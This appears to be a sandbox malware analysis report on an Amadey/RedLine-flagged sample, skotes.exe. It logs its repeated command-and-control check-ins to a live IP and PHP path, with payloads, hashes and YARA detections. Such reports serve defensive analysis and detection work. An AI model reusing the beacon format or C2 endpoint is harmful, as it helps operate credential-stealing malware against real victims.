Sep 25, 2024 10:36:09.553716898 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:36:10.249022007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	64770	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:12.022192001 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:36:12.713136911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	64771	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:14.227332115 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:36:14.959640026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	64773	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:16.588416100 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:36:17.309568882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	64774	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:18.819691896 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:36:19.558557987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	64775	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:21.372128010 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:36:22.065582991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	64776	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:23.587848902 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:36:24.280637026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	64777	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:25.912656069 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:36:26.632025003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	64778	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:28.147414923 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:36:29.155380011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 25, 2024 10:36:29.155462027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 25, 2024 10:36:29.353523016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	64779	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:30.788799047 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:36:31.482470036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	64780	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:34.061943054 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:36:34.771907091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	64781	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:36.415894985 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:36:37.105528116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	64783	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:36:38.616646051 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:36:39.319875956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	04:32:32
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\yjzllYsjlU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\yjzllYsjlU.exe"
Imagebase:	0x400000
File size:	429'568 bytes
MD5 hash:	05B4B94FE502B06454E6FE20B6965C76
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2353337149.000000000052C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2213576704.00000000021F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:32:33
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 720
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:32:34
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 788
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:32:35
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 852
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:32:36
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 896
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:32:37
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 920
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:32:38
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 852
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:32:39
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1044
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:32:39
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1120
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:32:41
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1176
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:32:42
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x400000
File size:	429'568 bytes
MD5 hash:	05B4B94FE502B06454E6FE20B6965C76
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000015.00000002.2334468394.00000000006ED000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2334219685.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000015.00000002.2334568355.0000000002170000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.2309432700.00000000021E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:32:42
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6716 -s 1400
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:32:43
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6008 -s 468
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:33:00
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x400000
File size:	429'568 bytes
MD5 hash:	05B4B94FE502B06454E6FE20B6965C76
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001C.00000002.4668968733.00000000006D0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2486405419.0000000002160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	04:33:00
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 536
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:33:02
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 732
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:33:03
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 740
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	04:33:04
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1488 -s 756
Imagebase:	0x930000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	5.2%
Signature Coverage:	27.3%
Total number of Nodes:	655
Total number of Limit Nodes:	24

Executed Functions

Function 0040AA09 Relevance: 48.8, APIs: 24, Strings: 3, Instructions: 1503COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000,900B88F7,00000000), ref: 0040AA0C

Strings

h-F, xrefs: 0040AA50
VUUU, xrefs: 0040AF82
@3P, xrefs: 0040B921

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CurrentDirectory
String ID: @3P$VUUU$h-F
API String ID: 1611563598-1891901568
Opcode ID: de469c50572d96fa831817a3e8334893a081dba1cd581f061f222784eee2821c
